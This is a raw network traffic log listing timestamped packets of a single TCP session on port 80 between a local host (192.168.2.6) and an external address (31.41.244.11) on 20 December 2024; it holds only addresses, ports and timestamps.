Dec 20, 2024 21:13:17.318238020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.318411112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.318434000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.318597078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.319159985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.319283009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.319694042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.319973946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.320064068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.320111036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.320888996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.321069002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.321152925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.321739912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.321841955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.321872950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.322145939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.322669983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.322773933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.322812080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.322989941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.323517084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.323544025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.324064016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.324315071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.324424028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.324461937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.325190067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.325259924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.325290918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.326044083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.326158047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.326193094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.326543093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.326936960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.327037096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.327075005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.327145100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.327845097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.327908993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.328260899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.328717947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.328943968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.329005003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.329570055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.329606056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.329693079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.329933882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.330445051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.330542088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.330578089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.331278086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.331444025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.331475019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.331572056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.332231998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.332361937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.332449913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.333028078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.333142996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.333194971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.333635092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.333883047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.333982944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.334033012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.334733009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.334856987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.334928989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.335611105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.335733891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.335844994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.335992098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.336504936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.336627007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.336745024 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.337385893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.337491035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.337651014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.338287115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.338313103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.339134932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.339164972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.339251995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.339294910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.339478016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.339971066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.340064049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.340137005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.340863943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.340904951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.341022015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.341062069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.341784000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.341892004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.342134953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.342597008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.342698097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.342734098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.342906952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.343472958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.343563080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.343600035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.344165087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.344341040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.344480991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.344629049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.491667032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.491735935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.491815090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.492039919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.492130995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.492177010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.492928982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.492981911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.493016005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.493098021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.493792057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.493846893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.493870020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.493891954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.494651079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.494726896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.494760990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.495522976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.495583057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.495594025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.495713949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.496403933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.496462107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.496519089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.496562958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.497216940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.497277021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.497391939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.497463942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.498090982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.498176098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.498214960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.498296022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.499021053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.499074936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.499139071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.499864101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.499979973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.500020027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.500020027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.500726938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.500808954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.500849962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.501112938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.501610041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.501673937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.501678944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.501751900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.502480030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.502546072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.502584934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.502634048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.503379107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.503488064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.503537893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.504195929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.504278898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.504298925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.504359007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.505135059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.505214930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.505306005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.505361080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.505950928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.506016970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.506052971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.506124020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.506855011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.506901026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.506998062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.507786989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.507857084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.507880926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.507899046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.508603096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.508666992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.508672953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.508722067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.509476900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.509567976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.509574890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.509624004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.510339022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.510454893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.510467052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.510883093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.511183977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.511297941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.511344910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.511451006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.512037992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.512095928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.512187958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.512265921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.512933969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.513000965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.513020992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.513137102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.513808012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.513921022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.513994932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.514661074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.514714956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.514718056 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.515026093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.515541077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.515623093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.515681982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.515799999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.516403913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.516535997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.516633987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.516694069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.517313957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.517374992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.517414093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.517462015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.518158913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.518328905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.518372059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.519032955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.519078970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.519109011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.520014048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.520030975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.520076990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.520092964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.520888090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.520908117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.520955086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.521673918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.521764994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.521768093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.521856070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.522521973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.522583008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.522660971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.523403883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.523459911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.523479939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.523535013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.524400949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.524533987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.524660110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.524727106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.525180101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.525219917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.525264978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.525309086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.525985003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.526067019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.526084900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.526151896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.527007103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.527028084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.527056932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.527080059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.527756929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.527808905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.527828932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.527878046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.528616905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.528681040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.528709888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.528759003 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.529500008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.529577017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.529577971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.529752016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.530359983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.530414104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.530416965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.530522108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.531205893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.531300068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.531356096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.532063961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.532176971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.532366037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.532948971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.533000946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.533063889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.533189058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.533823013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.533921957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.533947945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.534018993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.534667969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.534713984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.534780979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.534857035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.535562992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.535631895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.535718918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.536437035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.536571026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.536592960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.536705017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.537242889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.537404060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.683723927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.683779001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.683856010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.684129000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.684173107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.684223890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.684956074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.685102940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.685127020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.685239077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.685839891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.685928106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.685956955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.686665058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.686695099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.686726093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.686793089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.686857939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.687654972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.687720060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.687742949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.687793970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.688441992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.688575029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.688606977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.688668013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.689420938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.689481020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.689678907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.689743996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.690188885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.690237045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.690262079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.690309048 CET	49849	80	192.168.2.6	31.41.244.11
